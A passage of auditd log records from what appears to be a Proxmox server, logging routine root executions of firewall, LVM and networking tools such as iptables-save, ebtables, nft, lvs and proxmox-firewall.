cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.120:65937): proctitle=\"ip6tables-save\""} {"@timestamp":1781964795754,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.754:62621): arch=c000003e syscall=59 success=yes exit=0 a0=574a94f6dac8 a1=7fff4c00c480 a2=574ad3c1d680 a3=574a94f5124e items=2 ppid=60050 pid=60052 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215934,"@rawstring":"node=pve type=PATH msg=audit(1781966215.934:68958): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.110:65936): proctitle=\"iptables-save\""} {"@timestamp":1781964795752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.752:62620): arch=c000003e syscall=59 success=yes exit=0 a0=7fff4c00c440 a1=574ad3c24310 a2=574ad3c1d680 a3=5 items=2 ppid=60050 pid=60051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215934,"@rawstring":"node=pve type=PATH msg=audit(1781966215.934:68958): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515104,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.104:65935): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964795748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.748:62618): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215926,"@rawstring":"node=pve type=PATH msg=audit(1781966215.926:68957): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.101:65934): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964795741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.741:62617): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215926,"@rawstring":"node=pve type=PATH msg=audit(1781966215.926:68957): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.100:65933): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964795735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.735:62616): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215918,"@rawstring":"node=pve type=PATH msg=audit(1781966215.918:68956): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.100:65932): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964795730,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.730:62615): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0bf0d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60047 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215918,"@rawstring":"node=pve type=PATH msg=audit(1781966215.918:68956): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.093:65931): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964795724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.724:62614): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140340 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215911,"@rawstring":"node=pve type=PATH msg=audit(1781966215.911:68955): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.080:65930): proctitle=\"ip6tables-save\""} {"@timestamp":1781964795718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.718:62613): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd470 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215911,"@rawstring":"node=pve type=PATH msg=audit(1781966215.911:68955): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.070:65929): proctitle=\"iptables-save\""} {"@timestamp":1781964795675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.675:62612): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215903,"@rawstring":"node=pve type=PATH msg=audit(1781966215.903:68954): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.064:65928): proctitle=69707365740073617665"} {"@timestamp":1781964795667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.667:62609): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215903,"@rawstring":"node=pve type=PATH msg=audit(1781966215.903:68954): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.054:65927): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964794932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964794.932:62606): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dc050 a1=64f8d740c900 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60040 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215896,"@rawstring":"node=pve type=PATH msg=audit(1781966215.896:68952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515038,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.038:65926): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964794898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964794.898:62605): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bbbe0 a1=64f8d73dd070 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215896,"@rawstring":"node=pve type=PATH msg=audit(1781966215.896:68952): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965514252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965514.252:65925): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964790659,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964790.659:62604): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215890,"@rawstring":"node=pve type=PATH msg=audit(1781966215.890:68951): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965514229,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965514.229:65924): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964790652,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964790.652:62601): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215890,"@rawstring":"node=pve type=PATH msg=audit(1781966215.890:68951): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965513292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965513.292:65923): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964786581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964786.581:62598): arch=c000003e syscall=59 success=yes exit=0 a0=6122687cba40 a1=612268777930 a2=6122687779d0 a3=0 items=2 ppid=60035 pid=60036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sshd-auth\" exe=\"/usr/lib/openssh/sshd-auth\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215884,"@rawstring":"node=pve type=PATH msg=audit(1781966215.884:68950): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965513292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965513.292:65922): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964786568,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964786.568:62597): arch=c000003e syscall=59 success=yes exit=0 a0=6019d51fcaf0 a1=6019d52035c0 a2=6019d51a9990 a3=8 items=2 ppid=985 pid=60035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sshd-session\" exe=\"/usr/lib/openssh/sshd-session\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215884,"@rawstring":"node=pve type=PATH msg=audit(1781966215.884:68950): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965513292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965513.292:65921): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.706:62596): arch=c000003e syscall=59 success=yes exit=0 a0=64221b026e90 a1=64221b023c10 a2=64221b005680 a3=5 items=2 ppid=60028 pid=60034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215877,"@rawstring":"node=pve type=PATH msg=audit(1781966215.877:68949): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965513280,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965513.280:65920): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.703:62595): arch=c000003e syscall=59 success=yes exit=0 a0=6421f9df7ac8 a1=7ffcb3b85c40 a2=64221b005680 a3=6421f9ddb24e items=2 ppid=60028 pid=60030 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215877,"@rawstring":"node=pve type=PATH msg=audit(1781966215.877:68949): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965513280,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965513.280:65919): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.703:62594): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcb3b85c00 a1=64221b00c310 a2=64221b005680 a3=5 items=2 ppid=60028 pid=60029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215869,"@rawstring":"node=pve type=PATH msg=audit(1781966215.869:68948): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965513279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965513.279:65918): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.700:62592): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215869,"@rawstring":"node=pve type=PATH msg=audit(1781966215.869:68948): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965508271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965508.271:65917): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785693,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.693:62591): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215864,"@rawstring":"node=pve type=PATH msg=audit(1781966215.864:68947): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965508270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965508.270:65916): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785687,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.687:62590): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215864,"@rawstring":"node=pve type=PATH msg=audit(1781966215.864:68947): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965508270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965508.270:65915): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.681:62589): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215856,"@rawstring":"node=pve type=PATH msg=audit(1781966215.856:68946): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965508263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965508.263:65914): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.673:62588): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60024 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215856,"@rawstring":"node=pve type=PATH msg=audit(1781966215.856:68946): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965508263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965508.263:65913): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.670:62587): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=61409b5c3740 items=0 ppid=1156 pid=60023 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966215849,"@rawstring":"node=pve type=PATH msg=audit(1781966215.849:68945): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965508263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965508.263:65912): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.668:62586): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbbda86a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60023 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215849,"@rawstring":"node=pve type=PATH msg=audit(1781966215.849:68945): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965506024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965506.024:65911): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964785663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.663:62585): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc101430 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60022 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215846,"@rawstring":"node=pve type=PATH msg=audit(1781966215.846:68944): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965506017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965506.017:65910): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964785657,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.657:62584): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60021 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215846,"@rawstring":"node=pve type=PATH msg=audit(1781966215.846:68944): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965506015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965506.015:65909): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964785651,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.651:62583): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135480 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215842,"@rawstring":"node=pve type=PATH msg=audit(1781966215.842:68943): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965506015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965506.015:65908): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964785646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.646:62582): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60019 auid=4294967295 uid=0 